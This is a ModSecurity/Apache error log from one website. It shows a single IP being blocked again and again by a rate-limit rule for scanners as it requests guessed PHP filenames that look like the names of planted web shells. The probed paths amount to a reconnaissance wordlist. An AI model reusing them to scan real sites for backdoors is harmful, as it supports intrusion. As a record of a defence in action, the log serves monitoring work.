[Tue May 19 12:15:50.208792 2026] [:error] [pid 29823:tid 29838] [client 20.226.17.188:26264] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "agvj9mO09C0nAz8vRk4PcwAAAcM"]
[Tue May 19 12:15:50.831213 2026] [:error] [pid 29823:tid 29842] [client 20.226.17.188:23008] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "agvj9mO09C0nAz8vRk4PdAAAAcc"]
[Tue May 19 12:15:51.451247 2026] [:error] [pid 38814:tid 38829] [client 20.226.17.188:1422] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "agvj9wvkKuBwP0epzWd2FAAAAM0"]
[Tue May 19 12:15:52.073705 2026] [:error] [pid 38697:tid 38732] [client 20.226.17.188:1693] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "agvj-KXP9pP6Kgt-msQNkgAAABE"]
[Tue May 19 12:15:52.695792 2026] [:error] [pid 38697:tid 38734] [client 20.226.17.188:1428] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hots.php"] [unique_id "agvj-KXP9pP6Kgt-msQNkwAAABM"]
[Tue May 19 12:15:53.327319 2026] [:error] [pid 38697:tid 38725] [client 20.226.17.188:14261] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hots.php"] [unique_id "agvj-aXP9pP6Kgt-msQNlAAAAAo"]
[Tue May 19 12:15:53.953371 2026] [:error] [pid 29823:tid 29847] [client 20.226.17.188:24226] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hots.php"] [unique_id "agvj-WO09C0nAz8vRk4PdgAAAcg"]
[Tue May 19 12:15:54.611999 2026] [:error] [pid 38699:tid 38750] [client 20.226.17.188:27816] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hots.php"] [unique_id "agvj-r--Adsw_P-dthZuVgAAAEg"]
[Tue May 19 12:15:55.238467 2026] [:error] [pid 29823:tid 29856] [client 20.226.17.188:24214] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "agvj-2O09C0nAz8vRk4PdwAAAdE"]
[Tue May 19 12:15:55.864614 2026] [:error] [pid 38699:tid 38745] [client 20.226.17.188:16564] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "agvj-7--Adsw_P-dthZuVwAAAEM"]
[Tue May 19 12:15:56.497208 2026] [:error] [pid 38705:tid 38780] [client 20.226.17.188:16527] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "agvj_Mg5dNOZ5umN9ltDwAAAAIs"]
[Tue May 19 12:15:57.116226 2026] [:error] [pid 38699:tid 38751] [client 20.226.17.188:26274] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/install.php"] [unique_id "agvj_b--Adsw_P-dthZuWAAAAEk"]
[Tue May 19 12:15:57.733663 2026] [:error] [pid 38697:tid 38729] [client 20.226.17.188:16546] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "agvj_aXP9pP6Kgt-msQNlQAAAA4"]
[Tue May 19 12:15:58.350401 2026] [:error] [pid 38697:tid 38730] [client 20.226.17.188:30183] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "agvj_qXP9pP6Kgt-msQNlwAAAA8"]
[Tue May 19 12:15:58.988122 2026] [:error] [pid 29823:tid 29854] [client 20.226.17.188:23034] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "agvj_mO09C0nAz8vRk4PeAAAAc8"]
[Tue May 19 12:15:59.618591 2026] [:error] [pid 29823:tid 29861] [client 20.226.17.188:1427] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sadcut1.php"] [unique_id "agvj_2O09C0nAz8vRk4PeQAAAdY"]
[Tue May 19 12:16:00.239996 2026] [:error] [pid 46815:tid 46822] [client 20.226.17.188:26242] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/users.php"] [unique_id "agvkACPnRhJOmA06LgouDAAAAUU"]
[Tue May 19 12:16:00.858510 2026] [:error] [pid 38705:tid 38790] [client 20.226.17.188:1066] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/users.php"] [unique_id "agvkAMg5dNOZ5umN9ltDwQAAAJU"]
[Tue May 19 12:16:01.492675 2026] [:error] [pid 29823:tid 29855] [client 20.226.17.188:30187] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/users.php"] [unique_id "agvkAWO09C0nAz8vRk4PfAAAAdA"]
[Tue May 19 12:16:02.111147 2026] [:error] [pid 38705:tid 38778] [client 20.226.17.188:27803] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/users.php"] [unique_id "agvkAsg5dNOZ5umN9ltDwgAAAIk"]
[Tue May 19 12:16:02.727776 2026] [:error] [pid 46896:tid 46913] [client 20.226.17.188:14230] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "agvkAqCHyzL3Ci9LGE0tbgAAAY8"]
[Tue May 19 12:16:03.423853 2026] [:error] [pid 46896:tid 46906] [client 20.226.17.188:23011] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "agvkA6CHyzL3Ci9LGE0tcQAAAYg"]
[Tue May 19 12:16:04.060339 2026] [:error] [pid 38699:tid 38744] [client 20.226.17.188:1801] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "agvkBL--Adsw_P-dthZuWQAAAEI"]
[Tue May 19 12:16:04.685057 2026] [:error] [pid 46896:tid 46903] [client 20.226.17.188:1412] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "agvkBKCHyzL3Ci9LGE0tdAAAAYU"]
[Tue May 19 12:16:05.305401 2026] [:error] [pid 46896:tid 46918] [client 20.226.17.188:16514] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "agvkBaCHyzL3Ci9LGE0tdQAAAZQ"]
[Tue May 19 12:16:05.922978 2026] [:error] [pid 46896:tid 46904] [client 20.226.17.188:27827] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "agvkBaCHyzL3Ci9LGE0tdwAAAYY"]
[Tue May 19 12:16:06.552382 2026] [:error] [pid 38705:tid 38788] [client 20.226.17.188:1952] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "agvkBsg5dNOZ5umN9ltDwwAAAJM"]
[Tue May 19 12:16:07.195545 2026] [:error] [pid 29823:tid 29836] [client 20.226.17.188:27782] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "agvkB2O09C0nAz8vRk4PfgAAAcE"]
[Tue May 19 12:16:07.828340 2026] [:error] [pid 38705:tid 38782] [client 20.226.17.188:26299] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ox.php"] [unique_id "agvkB8g5dNOZ5umN9ltDxAAAAI0"]
[Tue May 19 12:16:08.492110 2026] [:error] [pid 29823:tid 29851] [client 20.226.17.188:1467] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ox.php"] [unique_id "agvkCGO09C0nAz8vRk4PgAAAAcw"]
[Tue May 19 12:16:09.119901 2026] [:error] [pid 46896:tid 46911] [client 20.226.17.188:26255] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ox.php"] [unique_id "agvkCaCHyzL3Ci9LGE0teAAAAY0"]
[Tue May 19 12:16:09.747190 2026] [:error] [pid 29823:tid 29862] [client 20.226.17.188:7420] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ox.php"] [unique_id "agvkCWO09C0nAz8vRk4PgwAAAdc"]
[Tue May 19 12:16:10.373528 2026] [:error] [pid 46896:tid 46905] [client 20.226.17.188:4500] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "agvkCqCHyzL3Ci9LGE0tegAAAYc"]
[Tue May 19 12:16:11.047204 2026] [:error] [pid 46896:tid 46900] [client 20.226.17.188:39045] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "agvkC6CHyzL3Ci9LGE0tewAAAYI"]
[Tue May 19 12:16:11.716905 2026] [:error] [pid 46896:tid 46902] [client 20.226.17.188:7385] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "agvkC6CHyzL3Ci9LGE0tfQAAAYQ"]
[Tue May 19 12:16:12.362423 2026] [:error] [pid 29823:tid 29850] [client 20.226.17.188:29541] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "agvkDGO09C0nAz8vRk4PhAAAAcs"]
[Tue May 19 12:16:12.989948 2026] [:error] [pid 46896:tid 46901] [client 20.226.17.188:1357] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drhunthq.php"] [unique_id "agvkDKCHyzL3Ci9LGE0tfgAAAYM"]
[Tue May 19 12:16:13.634892 2026] [:error] [pid 46896:tid 46919] [client 20.226.17.188:4271] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drhunthq.php"] [unique_id "agvkDaCHyzL3Ci9LGE0tgAAAAZU"]
[Tue May 19 12:16:14.258120 2026] [:error] [pid 38705:tid 38785] [client 20.226.17.188:4531] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drhunthq.php"] [unique_id "agvkDsg5dNOZ5umN9ltDxQAAAJA"]
[Tue May 19 12:16:14.880845 2026] [:error] [pid 38699:tid 38747] [client 20.226.17.188:4269] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drhunthq.php"] [unique_id "agvkDr--Adsw_P-dthZuXAAAAEU"]
[Tue May 19 12:16:15.523152 2026] [:error] [pid 41573:tid 41596] [client 20.226.17.188:1401] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "agvkDy1A2bd6JDSW9RZZGgAAARU"]
[Tue May 19 12:16:16.144765 2026] [:error] [pid 41573:tid 41578] [client 20.226.17.188:39159] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "agvkEC1A2bd6JDSW9RZZGwAAAQM"]
[Tue May 19 12:16:16.795386 2026] [:error] [pid 41573:tid 41577] [client 20.226.17.188:1941] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "agvkEC1A2bd6JDSW9RZZHAAAAQI"]
[Tue May 19 12:16:17.414952 2026] [:error] [pid 38699:tid 38758] [client 20.226.17.188:14025] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "agvkEb--Adsw_P-dthZuXgAAAFA"]
[Tue May 19 12:16:18.057889 2026] [:error] [pid 29823:tid 29861] [client 20.226.17.188:1371] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clss.php"] [unique_id "agvkEmO09C0nAz8vRk4PiQAAAdY"]
[Tue May 19 12:16:18.761166 2026] [:error] [pid 29823:tid 29855] [client 20.226.17.188:4499] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clss.php"] [unique_id "agvkEmO09C0nAz8vRk4PigAAAdA"]
[Tue May 19 12:16:19.385066 2026] [:error] [pid 29823:tid 29837] [client 20.226.17.188:13709] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clss.php"] [unique_id "agvkE2O09C0nAz8vRk4PjQAAAcI"]
[Tue May 19 12:16:20.017718 2026] [:error] [pid 38699:tid 38760] [client 20.226.17.188:5846] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/clss.php"] [unique_id "agvkFL--Adsw_P-dthZuXwAAAFI"]
[Tue May 19 12:16:20.659171 2026] [:error] [pid 29823:tid 29862] [client 20.226.17.188:30083] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "agvkFGO09C0nAz8vRk4PkQAAAdc"]
[Tue May 19 12:16:21.305219 2026] [:error] [pid 38705:tid 38775] [client 20.226.17.188:4418] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "agvkFcg5dNOZ5umN9ltDxgAAAIY"]
[Tue May 19 12:16:21.956437 2026] [:error] [pid 41573:tid 41586] [client 20.226.17.188:34505] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "agvkFS1A2bd6JDSW9RZZHQAAAQs"]
[Tue May 19 12:16:22.592942 2026] [:error] [pid 41573:tid 41580] [client 20.226.17.188:4442] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "agvkFi1A2bd6JDSW9RZZHgAAAQU"]
[Tue May 19 12:16:23.252953 2026] [:error] [pid 46896:tid 46907] [client 20.226.17.188:4859] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "agvkF6CHyzL3Ci9LGE0thAAAAYk"]
[Tue May 19 12:16:23.877958 2026] [:error] [pid 38697:tid 38716] [client 20.226.17.188:1293] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "agvkF6XP9pP6Kgt-msQNmgAAAAE"]
[Tue May 19 12:16:24.526562 2026] [:error] [pid 38697:tid 38736] [client 20.226.17.188:4817] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "agvkGKXP9pP6Kgt-msQNmwAAABU"]
[Tue May 19 12:16:25.219672 2026] [:error] [pid 38814:tid 38829] [client 20.226.17.188:5852] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "agvkGQvkKuBwP0epzWd2GwAAAM0"]
